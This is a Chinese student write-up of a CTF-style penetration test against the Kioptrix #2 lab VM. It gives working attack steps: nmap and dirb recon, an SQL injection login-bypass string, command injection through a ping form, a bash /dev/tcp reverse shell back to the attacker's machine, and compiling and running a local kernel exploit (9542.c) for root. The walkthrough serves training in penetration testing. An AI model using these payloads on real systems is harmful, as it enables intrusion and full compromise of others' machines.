大家好,我是SuieKa。此是实训项目三,要求根据未知靶机(Kioptrix#2)探索漏洞,并利用漏洞进行权限提升实验项目,希望对朋友们有所帮助。

  • 一、神器开路,对未知操作系统的全面扫描
    • 1、SQL注入简单介绍
  • 二、利用探索的漏洞获取shell
    • 2、网络中的瑞士军刀----nc工具使用(原名:Netcat)
  • 三、权限提升并获取关键字(hiroshima)

所谓CTF:CTF是一种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”,也可意译为“夺旗赛”。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称之为“Flag”。

也就是说CTF是一个安全竞赛项目罢了,参与CTF竞赛夺旗,拿分,也叫夺旗赛,里面分为三个竞赛模式:解题模式、攻防模式、混合模式。本来我本学期是可以参加此赛事哎,老师都叫上我了,可是由于学院参赛人数降了一个名次,我就只有下次咯

话不多说,分享我实训中获取得“Flag”(hiroshima)。

靶机Kioptrix下载地址:Kioptrix#2级

一、神器开路,对未知操作系统的全面扫描

实验拓扑图:

环境大致为:
kali linux:192.168.1.104(dhcp)
未知linux系统:(扫描后确认的ip):192.168.1.101

我们将下载好的实验对象(靶机)安装在VMware上,打开靶机就是这样的。

事先我们并不知道初始密码,无从下手,所以打开神器kali linux对目标进行探测。

1、kali 上使用nmap对目标系统进行探测
使用命令查看排除ip确认目标ip
root@wangzhike:~# arp-scan -l

(别看错啦,之前我扫的是103,之后重启过就改了ip地址:101)对于这种确认ip方式有很多种方法,我直接使用arp-scan -l进行排除

2、收集的信息、漏洞
root@wangzhike:~# nmap -O 192.168.1.101

root@wangzhike:~# nmap -sV -p- 192.168.1.101

还好,扫描ip后发现目标开启了很多端口(ssh、http、mysql),在这里我们要注重这三个端口。
由于目标开启了80端口,所以就从80口子入手先,使用浏览器康康是否存在index.php网页之类的东西存在。
访问80端口:http://192.168.1.101:80/

居然弹出一个web界面,还是输入用户及密码的那种!
接下来我们使用神器dirb目录扫描工具对目标网页进行深度挖掘,简单粗暴一点
root@wangzhike:~# dirb http://192.168.1.101/


对于扫出来的东西,我具体看了看,就发现了这么一个有价值的东西:
http://192.168.1.101/index.php?module=My_eGallery
这是可能存在SQL注入漏洞呀,我上网查了查找到以下信息:

大家对于这种web界面探测不要害怕,因为大部分都是这种经过多层次的扫描过后,找出"非正常"点,基本都是突破口,我也是误打误撞找到这东西,尝试使用SQL注入方式进行后一步操作的。

1、SQL注入简单介绍

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

一般用户登录用的SQL语句为:SELECT * FROM user WHERE username=‘admin’ AND password=‘passwd’,此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入’or 1#,SQL语句将变为:SELECT * FROM user WHERE username=’‘or 1#’ AND password=’’,‘’or 1为TRUE,#注释掉后面的内容,所以查询语句可以正确执行。

需要了解SQL注入===》一位博客大佬的博文

所以,不光学习linux,SQL语句也要了解了解呀!!!
SQL注入的产生条件:
(1)、有参数传递
(2)、参数值带入数据库查询并且执行

大家可以使用DVWA简单测试了解一下,上面的博文有详细阐释
DVWA

3、尝试使用SQL注入方式登陆

这里是老师发的SQL注入_字符测试表,我试了几个还真登录进了呀我勒个去
Username:admin’or’1’=’1-
Password:不写

成功,可知存在SQL注入漏洞(可不止这一种,输入admin’#也可以进去)

二、利用探索的漏洞获取shell

由于我们SQL注入成功进入到界面,所以在这里就好操作了,对于这个框框,前面人家已经写了Ping a Machine on the Network,清清楚楚(在网络上Ping计算机),抱着好奇输入whoami报错,这样写吧:192.168.1.101;whoami,害,居然是这样的:

注意中间部分,不就是一个ping执行命令嘛,上面是输入值,最下面当然也就是whoami命令对应的值:apache。
再使用命令192.168.1.101;id(查看目标机用户的id)

果然,当前目标主机用户是apache,这样也可以啊???
那么之前我学过一个很强的工具不知道大家记得不:NC(网络瑞士军刀)

2、网络中的瑞士军刀----nc工具使用(原名:Netcat)

功能强大的网络工具,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。

nc各个参数介绍:

nc.exe -h即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] …
nc -l -p port [options] [hostname] [port]

-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出–用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉–用于扫描时

nc的作用:

  • 传输文件
  • 网络测速
  • 侦听端口(实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口)
  • 克隆硬盘或分区
  • 反弹服务器shell

详细介绍参考大佬文章博客园

既然都谈到侦听端口、反弹服务器shell的作用了,那就简单多了哈

1、反弹shell(使用nc工具)
在kali linux上使用nc开启侦听端口

直接输入内容:192.168.1.101;bash -i >& /dev/tcp/192.168.1.104/5555 0>&1

kali linux上弹出页面如下:

这样就进来啦,这么快。还好还好没有失败,大家需要注意的是输入的内容,错了不会反弹shell的
直接获取shell,但是不是管理员#,权限不够,因为之前就是apache用户在线

三、权限提升并获取关键字(hiroshima)

1、先使用简单命令康康能否使用
(在这里就要注意了,输入最好一次性输入完整,在这里tab键无效,输入值想改无效,也不能删除)

使用uname -r看了看显示一个内容,发现未知linux内核为2.6.9-55.EL.并且下面使用命令后弹出一个版本:centos 4.5
既然目的是为了权限提升,不找找漏洞不行呀,所以在这里我直接找找kali linux上是否有这个版本的漏洞???

2、使用kali搜索centos4.5版本的漏洞相关信息
root@wangzhike:~# searchsploit centos 4.5

居然还真的有、、、、、、中间那个就是最最最有价值的东西,漏洞文件:9542.c
然后在网上查找脚本源代码,发现了其中的奥妙。。。。。。


注意看第二个图,明摆着嘛,只要将文件传入目标内,使用gcc编译器就能够实现提权,用法都写着的。
那我开始操作了:

3、利用漏洞进行web提权
那么问题来了:
既然已经找到漏洞利用代码了,就想想如何将9542.c传至目标???
之前我做其他实验用到过kali中的apache服务,我们是否也能通过80端口将文件上传,使目标下载此文件呢???试试嘛

找到代码位置:/usr/share/exploitdb/exploits/linux_x86/local/9542.c

直接使用kali linux的apache上传用目标下载,直接将脚本复制到/var/www/html里,再将里面的index*文件删除,避免访问下载不了
开启apache服务

个人电脑访问如下

让目标下载到指定/tmp目录,使用gcc编译执行提权
bash-3.00$ cd /tmp

先使用gcc编译器编译成a.out文件,再执行此文件,成功啦!!!
权限也提升至root,接下来就是找Flag
由于我们是从index.php网页入手,肯定先康康网页是怎么写的

误打误撞找到了,关键字就在index.php文件里,这就是CTF中的flag,当然没有我这简单,查查文件就找到了、、、、、、
再看看里面果然有一句SQL语句,这就是SQL注入漏洞存在的原因吧

好啦,大二实训项目三分享结束了,有问题欢迎留言哟

项目三 探索并利用漏洞对未知web server权限提升(CTF实战 Kioptrix#2靶机渗透测试)相关推荐

  1. 项目三探索 TMDb 电影数据

  2. 靶机渗透测试实战(三)——Bulldog1渗透实战

    目录 一. 实验环境 二. 实验流程 三. 实验步骤 (1)信息收集--主机发现 (2)信息收集--端口扫描 (3)信息收集--操作系统扫描 (4)Web渗透 四. 实验总结 一. 实验环境 靶机:I ...

  3. 漏洞payload 靶机_靶机渗透测试--hack the wakanda

    大家好,本文向大家介绍一个CTF挑战靶机Wakanda,下载地址在这里.该靶机难度适中,共有三个flag(flag1.txt,flag2.txt和root.txt). 渗透测试方法如下 网络扫描(Nm ...

  4. 利用go语言创建web server的两种方式

    相比于java/c#的mvc框架,go语言写web项目及其简单,创建一个web只需要简短的几行代码就可以实现功能: package mainimport "net/http"fun ...

  5. 漏洞修复:Web Server Misconfiguration: SSL Certificate Hostname Discrepancy

    描述 This policy states that any area of the website or web application that contains sensitive inform ...

  6. Metasploit 渗透测试手册第三版 第三章 服务端漏洞利用(翻译)

    第三章 服务端漏洞利用 在本章中,我们将学习以下内容 1.攻击Linux服务器 2.SQL注入攻击 3.shell类型 4.攻击Windows服务器 5.利用公用服务 6.MS17-010 永恒之蓝 ...

  7. Kali渗透测试之四漏洞映射

     ◆漏洞映射: 根据已经发现的开放端口和服务程序,查找.分析目标系统中存在的漏洞 漏洞映射旨在识别和分析目标环境中的决定性安全缺陷,有时也称为脆弱性评估.它是一种 在IT基础设施的安全控制中探寻已知弱 ...

  8. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

  9. web渗透测试 靶机系统 漏洞测试环境

    本文总结了目前网络上比较流行的渗透测试演练系统,这些系统里面都提供了一些实际的安全漏洞,排名不分先后,各位安全测试人员可以亲身实践如何利用这个漏洞,同时也可以学习到漏洞的相关知识. DVWA (Dam ...

最新文章

  1. vue中通过post方式异步上传文件
  2. CV之detectron2:detectron2安装过程记录
  3. php 屏蔽deprecated,新人求教PHP高手,Deprecated?
  4. (原創) 如何在Ubuntu設定P7010的1280 x 768解析度? (OS) (Linux) (Ubuntu) (NB) (P7010)
  5. 全文搜索!收藏这篇Solr ElasticSearch 长文就可以搞定
  6. 使用Python解析MNIST数据集
  7. Deep learning:十(PCA和whitening)
  8. 给EditText的drawableRight属性的图片设置点击事件
  9. PAT1008数组元素循环右移问题(2,3测试点不过的解决办法)
  10. 剑指offer——面试题58:二叉树的下一个结点
  11. sql语法:inner join on, left join on, right join on具体用法
  12. LINUX doubango编译中prefix参数无效
  13. c++ GUI轻量工具包FLTK介绍 (1)
  14. 最简单的单片机c语言程序,单片机的C语言编程基础知识(初学注意)
  15. 解决explorer.exe 应用程序错误,内存不能为 read或written的解决方法小结
  16. PM之数据分析与逻辑能力
  17. Java 读取Word文本框中的文本/图片/表格
  18. DSP28335学习记录(四)——ADC、DMA
  19. 机器学习(二)-朴素的贝叶斯分类
  20. 苹果手机的uuid查询_苹果Mac查询UUID信息, 硬盘接口类型的查询方法(图文)

热门文章

  1. 九句英语,保你闯天下!
  2. 2020年4月TIOBE语言排行榜-你知道少儿编程语言Scratch吗
  3. SOUI 将 soui-sys-resource.dll 静态编译到exe中方法.
  4. GitHub 上的一个开源项目,可快速生成一款属于自己的手写字体!
  5. 浏览器插件的开发学习
  6. 计算机考试题目学生成绩表,计算机等级考试EXCEL练习题-12学生成绩表2
  7. java遍历文件夹下的文件
  8. Android 之dragger使用
  9. TIM 默认存储文件夹修改不成功
  10. [小黄书后台]手机短信验证码